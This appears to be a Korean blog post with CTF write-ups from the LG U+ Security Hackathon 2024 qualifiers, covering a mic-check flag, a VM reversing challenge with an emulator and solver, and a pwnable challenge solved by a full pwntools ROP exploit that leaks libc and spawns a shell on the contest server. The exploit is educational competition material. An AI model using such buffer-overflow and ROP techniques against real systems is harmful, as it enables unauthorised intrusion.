Void
LG U+ Security Hackathon : Growth Security 2024 Quals 본문

후기
D4 라는 팀으로 이 대회에 참가했습니다. 문제는 분야별로 2~3 문제 정도가 출제되었고, 문제들이 모두 괜찮았습니다. 저희팀은 5문제, 저는 mic-check를 제외하고 2문제를 해결했고, 15등으로 본선 출전은 어렵게 됐습니다. pwnable의 Chatting Server 라는 문제를 풀지 못해 아쉬움이 있습니다.
+ 대회 다음날 30분만에 Chatting Server를 풀었습니다..
Write Up
MISC - mic_check
PWN - RRR
REV - VMVMVM
mic_check

공식 discord의 notice 채널에 들어가면 flag를 확인할 수 있다.
lguplus2024{welcome_to_lg_uplus_security_hackathon}
RRR
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[31]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int8 v5; // [rsp+1Fh] [rbp-11h]
int i; // [rsp+2Ch] [rbp-4h]
init(argc, argv, envp);
memset(s, 0, sizeof(s));
v5 = 114;
do
{
printf("You only input 'R' or 'r': ");
read(0, s, v5 - 82);
for ( i = 0; i <= 29; ++i )
{
if ( s[i] != 82 && s[i] != 114 )
{
printf("Bad char.");
exit(0);
}
}
}
while ( s[0] != 82 || s[1] != 82 || s[2] != 82 );
puts("Good luck! :)");
return 0;
}
main 함수는 다음과 같은 코드로 쓰여있다. s에 입력을 받고, 문자열을 확인한뒤 입력값에 따라 프로그램을 종료하거나 계속 입력받는 프로그램이다. 처음에 s에는 114-82=32 바이트 입력을 받는데, s는 31바이트 크기여서 off-by-one 으로 v5를 변조시킬 수 있다. 그럼 bof 로 rop를 할 수 있고, 쉘을 딸 수 있다.
─────────────────[ DISASM / x86-64 / set emulate on ]─────────────────
► 0x4012b8 <main+93> call read@plt <read@plt>
fd: 0 (pipe:[7715049])
buf: 0x7ffdab140ad0 ◂— 0x7272727272727272 ('rrrrrrrr')
nbytes: 0xad
v5를 0xff 로 변조한 다음 read() 부분이다.
from pwn import *
#p=process('./prob')
p=remote('3.36.77.17', 44040)
e=ELF('./prob')
#l=e.libc
l=ELF('./libc.so.6')
ret=0x000000000040101a
pop_rdi_rsi=0x000000000040134d
main=0x40125B
plt_puts=e.plt['puts']
got_puts=e.got['puts']
p.sendafter(b':', b'r'*31+b'\xff')
payload=b'R'*0x38
payload+=p64(pop_rdi_rsi)+p64(got_puts)+p64(1)+p64(plt_puts)+p64(ret)+p64(main)
p.sendafter(b':', payload)
p.recvline()
libc_base=u64(p.recvn(6)+b'\x00'*2)-l.symbols['puts']
print(hex(libc_base))
system=libc_base+l.symbols['system']
binsh=libc_base+next(l.search(b'/bin/sh'))
p.sendafter(b':', b'r'*31+b'\xff')
payload=b'R'*0x38
payload+=p64(pop_rdi_rsi)+p64(binsh)+p64(1)+p64(system)
p.sendafter(b':', payload)
p.interactive()
lguplus2024{8cf9605e26ae03f4e77ec461565c060b1fb92ffc17b7a42ea95117a9f8961664ebf9ac349bd2809cbd78e9218d1639}
VMVMVM
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v4; // rdx
__int64 v5[9]; // [rsp+10h] [rbp-170h] BYREF
_QWORD v6[3]; // [rsp+58h] [rbp-128h]
char s[264]; // [rsp+70h] [rbp-110h] BYREF
unsigned __int64 v8; // [rsp+178h] [rbp-8h]
v8 = __readfsqword(0x28u);
v5[0] = 0x700070F40070007LL;
v5[1] = 0xC80070E40070F41LL;
v5[2] = 0xB0E0100070E4007LL;
v5[3] = 0x70F0100070E4007LL;
v5[4] = 0xE0100070E400701LL;
v5[5] = 0xE0120070E40070DLL;
v5[6] = 0x70E4107093D0702LL;
v5[7] = 0xE40070F41070101LL;
v5[8] = 0x40070F4007010107LL;
v6[0] = 0x70A0A070220070ELL;
*(_DWORD *)((char *)v6 + 7) = 101597447;
printf("User Input: ");
__isoc99_scanf("%s", s);
if ( strlen(s) == 32 )
{
memcpy(&unk_40C0, s, 0x20uLL);
qword_40E0[0] = qword_4040;
qword_40E0[1] = qword_4048;
v4 = qword_4058;
qword_40E0[2] = qword_4050;
qword_40E0[3] = v4;
if ( (unsigned int)sub_130E(v5) )
puts("Nope");
else
printf("Correct\nFlag: lguplus2024{%s}\n", s);
return 0LL;
}
else
{
puts("Nope");
return 0LL;
}
}
v5에 명령어를 넣는다. s(flag) 를 입력받은뒤 qword_40E0 에 값을 넣는데, 이 값이 분석 한 이후 flag를 검사하는 역할을 한다. 그리고 sub_130E(v5) 에서 vm을 실행한다.
__int64 __fastcall sub_130E(__int64 a1)
{
unsigned int v1; // eax
unsigned int v2; // eax
int v4; // [rsp+20h] [rbp-10h]
int v5; // [rsp+20h] [rbp-10h]
int v6; // [rsp+24h] [rbp-Ch]
int v7; // [rsp+24h] [rbp-Ch]
int v8; // [rsp+24h] [rbp-Ch]
int v9; // [rsp+24h] [rbp-Ch]
int v10; // [rsp+24h] [rbp-Ch]
unsigned int v11; // [rsp+24h] [rbp-Ch]
unsigned int v12; // [rsp+24h] [rbp-Ch]
unsigned int v13; // [rsp+24h] [rbp-Ch]
int v14; // [rsp+28h] [rbp-8h]
int v15; // [rsp+28h] [rbp-8h]
int v16; // [rsp+28h] [rbp-8h]
int v17; // [rsp+28h] [rbp-8h]
int v18; // [rsp+28h] [rbp-8h]
int v19; // [rsp+28h] [rbp-8h]
unsigned int v20; // [rsp+28h] [rbp-8h]
unsigned int v21; // [rsp+28h] [rbp-8h]
int v22; // [rsp+2Ch] [rbp-4h]
int v23; // [rsp+2Ch] [rbp-4h]
while ( 1 )
{
switch ( *(_BYTE *)(dword_41C0 + a1) )
{
case 1:
v6 = sub_125D();
v14 = sub_125D();
sub_1209((unsigned int)(v6 + v14));
break;
case 2:
v7 = sub_125D();
v15 = sub_125D();
sub_1209((unsigned int)(v7 - v15));
break;
case 3:
v8 = sub_125D();
v16 = sub_125D();
sub_1209((unsigned int)(v16 * v8));
break;
case 4:
v9 = sub_125D();
v17 = sub_125D();
if ( v17 )
sub_1209((unsigned int)(v9 / v17));
break;
case 5:
v10 = sub_125D();
v18 = sub_125D();
if ( v18 )
sub_1209((unsigned int)(v10 % v18));
break;
case 6:
return (unsigned int)sub_125D();
case 7:
sub_1209(*(unsigned __int8 *)(++dword_41C0 + a1));
break;
case 8:
sub_125D();
break;
case 9:
v22 = sub_125D();
if ( !(unsigned int)sub_125D() )
dword_41C0 = v22 - 1;
break;
case 0xA:
v23 = sub_125D();
if ( (unsigned int)sub_125D() )
dword_41C0 = v23 - 1;
break;
case 0xB:
v11 = sub_125D();
v19 = sub_125D();
sub_1209(v19 ^ v11);
break;
case 0xC:
v12 = sub_125D();
v20 = (int)sub_125D() % 8;
v1 = sub_12AA(v12, v20);
sub_1209(v1);
break;
case 0xD:
v13 = sub_125D();
v21 = (int)sub_125D() % 8;
v2 = sub_12DC(v13, v21);
sub_1209(v2);
break;
case 0xE:
v4 = sub_125D();
sub_1209(byte_40C0[v4]);
break;
case 0xF:
v5 = sub_125D();
byte_40C0[v5] = sub_125D();
break;
default:
break;
}
++dword_41C0;
}
}
__int64 sub_125D()
{
int v0; // eax
if ( dword_4020 < 0 )
exit(0);
v0 = dword_4020--;
return dword_4080[v0];
}
__int64 __fastcall sub_1209(unsigned int a1)
{
__int64 result; // rax
if ( dword_4020 > 14 )
exit(0);
++dword_4020;
result = a1;
dword_4080[dword_4020] = a1;
return result;
}
vm 함수에서는 1번부터 각각 +, -, *, /, %, return pop(), jz, jnz, ^, ROR, ROL, push(flag[pop()]), flag[pop()]=pop() 연산을 한다. dword_4020 은 stack 의 size 이고, dword_4080은 stack 이다. 이제 입력값 s의 뒷부분, v5(op code) 를 추출한 다음 다음과 같은 에뮬레이터를 만들 수 있다.
vm='07 00 07 40 0F 07 00 07 41 0F 07 40 0E 07 80 0C 07 40 0E 07 00 01 0E 0B 07 40 0E 07 00 01 0F 07 01 07 40 0E 07 00 01 0E 0D 07 40 0E 07 20 01 0E 02 07 3D 09 07 41 0E 07 01 01 07 41 0F 07 40 0E 07 01 01 07 40 0F 07 40 0E 07 20 02 07 0A 0A 07 41 0E 06'
s='63 E6 20 52 DC C0 C6 70 C5 4A 86 52 72 62 C6 6A 6B 44 2A EC 7A CC CE 66 67 F2 24 50 D2 C2 60 6E'
vm=[int(i, 16) for i in vm.split()]
idx=0
size=-1
stack=[0]*16
flag=[0]*128
for i in range(32) :
flag[i]=i+1
idx=0
for i in s.split(' ') :
flag[32+idx]=int(i, 16)
idx+=1
def pop() :
global stack, size
size-=1
return stack[size+1]
def push(v) :
global stack, size
size+=1
stack[size]=v
idx=0
while(1) :
op=vm[idx]
print(end=str(idx)+' : ')
if(op==1) :
a=pop()
b=pop()
push('('+a+'+'+b+')%256')
print('pop pop;')
print('push '+str(a)+'+'+str(b))
if(op==2) :
a=pop()
b=pop()
push('('+a+'-'+b+'+256)%256')
print('pop pop;')
print('push '+str(a)+'-'+str(b))
if(op==3) :
a=pop()
b=pop()
push('('+a+'*'+b+')%256')
print('pop pop;')
print('push '+str(a)+'*'+str(b))
if(op==4) :
a=pop()
b=pop()
push('('+a+'//'+b+')')
print('pop pop;')
print('push '+str(a)+'/'+str(b))
if(op==5) :
a=pop()
b=pop()
push(a+'%'+b)
print('pop pop;')
print('push '+str(a)+'%'+str(b))
if(op==6) :
print('return ', pop())
break
if(op==7) :
idx+=1
print('push', vm[idx])
push(str(vm[idx]))
if(op==8) :
pop()
print('pop')
if(op==9) :
pop()
pop()
print('0이면 jmp')
if(op==10) :
pop()
pop()
print('0이 아니면 jmp')
if(op==11) :
a=pop()
b=pop()
push(a+'^'+b)
print('pop pop;')
print('push '+str(a)+'^'+str(b))
if(op==12) :
a=pop()
b=pop()
print('pop pop;')
print('push ROR('+str(a)+', '+b+'%8)')
push('ROR('+str(a)+', '+b+'%8)')
if(op==13) :
a=pop()
b=pop()
print('pop pop;')
print('push ROL('+str(a)+', '+b+'%8)')
push('ROL('+str(a)+', '+b+'%8)')
if(op==14) :
a=pop()
print('pop;')
print('push flag['+str(a)+']')
push('flag['+str(a)+']')
if(op==15) :
a=pop()
b=pop()
print('pop pop;')
print('flag['+str(a)+']='+str(b))
idx+=1
0 : push 0
2 : push 64
4 : pop pop;
flag[64]=0
5 : push 0
7 : push 65
9 : pop pop;
flag[65]=0
10 : push 64
12 : pop;
push flag[64]
13 : push 128
15 : pop pop;
push ROR(128, flag[64]%8)
16 : push 64
18 : pop;
push flag[64]
19 : push 0
21 : pop pop;
push 0+flag[64]
22 : pop;
push flag[(0+flag[64])%256]
23 : pop pop;
push flag[(0+flag[64])%256]^ROR(128, flag[64]%8)
24 : push 64
26 : pop;
push flag[64]
27 : push 0
29 : pop pop;
push 0+flag[64]
30 : pop pop;
flag[(0+flag[64])%256]=flag[(0+flag[64])%256]^ROR(128, flag[64]%8)
31 : push 1
33 : push 64
35 : pop;
push flag[64]
36 : push 0
38 : pop pop;
push 0+flag[64]
39 : pop;
push flag[(0+flag[64])%256]
40 : pop pop;
push ROL(flag[(0+flag[64])%256], 1%8)
41 : push 64
43 : pop;
push flag[64]
44 : push 32
46 : pop pop;
push 32+flag[64]
47 : pop;
push flag[(32+flag[64])%256]
48 : pop pop;
push flag[(32+flag[64])%256]-ROL(flag[(0+flag[64])%256], 1%8)
49 : push 61
51 : 0이면 jmp
52 : push 65
54 : pop;
push flag[65]
55 : push 1
57 : pop pop;
push 1+flag[65]
58 : push 65
60 : pop pop;
flag[65]=(1+flag[65])%256
61 : push 64
63 : pop;
push flag[64]
64 : push 1
66 : pop pop;
push 1+flag[64]
67 : push 64
69 : pop pop;
flag[64]=(1+flag[64])%256
70 : push 64
72 : pop;
push flag[64]
73 : push 32
75 : pop pop;
push 32-flag[64]
76 : push 10
78 : 0이 아니면 jmp
79 : push 65
81 : pop;
push flag[65]
82 : return flag[65]
51, 78 line 은 각각 if문, for문의 역할을 한다. 그래서 이 코드를 핸드레이하면 다음과 같은 코드를 얻을 수 있다.
#include<algorithm>
#include<cstdio>
using namespace std;
unsigned __int8 ROR(int a1, char a2) {
return (unsigned __int8)((a1 >> a2) | (a1 << (8 - a2)));
}
unsigned __int8 ROL(int a1, char a2) {
return (unsigned __int8)((a1 << a2) | (a1 >> (8 - a2)));
}
char flag[66];
int main() {
flag[64]=0;
flag[65]=0;
while(1) {
flag[flag[64]]^=ROR(128, flag[64]%8);
flag[65]+=(flag[(32+flag[64])]-ROL(flag[flag[64]], 1%8));
flag[64]+=1;
if(32-flag[64]==0) break;
}
return flag[65];
}
결국 flag[65] 가 0이 되는 flag를 찾으면 된다. 다음과 같은 코드로 찾을 수 있다.
#include<algorithm>
#include<cstdio>
using namespace std;
unsigned __int8 ROR(int a1, char a2) {
return (unsigned __int8)((a1 >> a2) | (a1 << (8 - a2)));
}
unsigned __int8 ROL(int a1, char a2) {
return (unsigned __int8)((a1 << a2) | (a1 >> (8 - a2)));
}
unsigned __int8 ans[100]={99, 230, 32, 82, 220, 192, 198, 112, 197, 74, 134, 82, 114, 98, 198, 106, 107, 68, 42, 236, 122, 204, 206, 102, 103, 242, 36, 80, 210, 194, 96, 110};
int main() {
for(int i=0; i<32; i+=1) {
for(int key=32; key<=127; key+=1) {
unsigned __int8 c=key;
c=c^ROR(128, i%8);
c=ROL(c, 1%8);
if(c==ans[i]) {
printf("%c", key);
break;
}
}
}
return 0;
}
1309fda9bec915a45b5f5be23928ae26 값을 얻을 수 있다.
$ ./prob
User Input: 1309fda9bec915a45b5f5be23928ae26
Correct
Flag: lguplus2024{1309fda9bec915a45b5f5be23928ae26}
lguplus2024{1309fda9bec915a45b5f5be23928ae26}
'CTF' 카테고리의 다른 글
| UofTCTF 2025 - Pwn (4/6) (0) | 2025.01.15 |
|---|---|
| Layer7 CTF 2024 (0) | 2025.01.13 |
| 제 5회 JBU-CTF (1) | 2024.12.16 |
| YISF 2024 Finals (0) | 2024.11.10 |
| YISF 2024 Quals (0) | 2024.08.23 |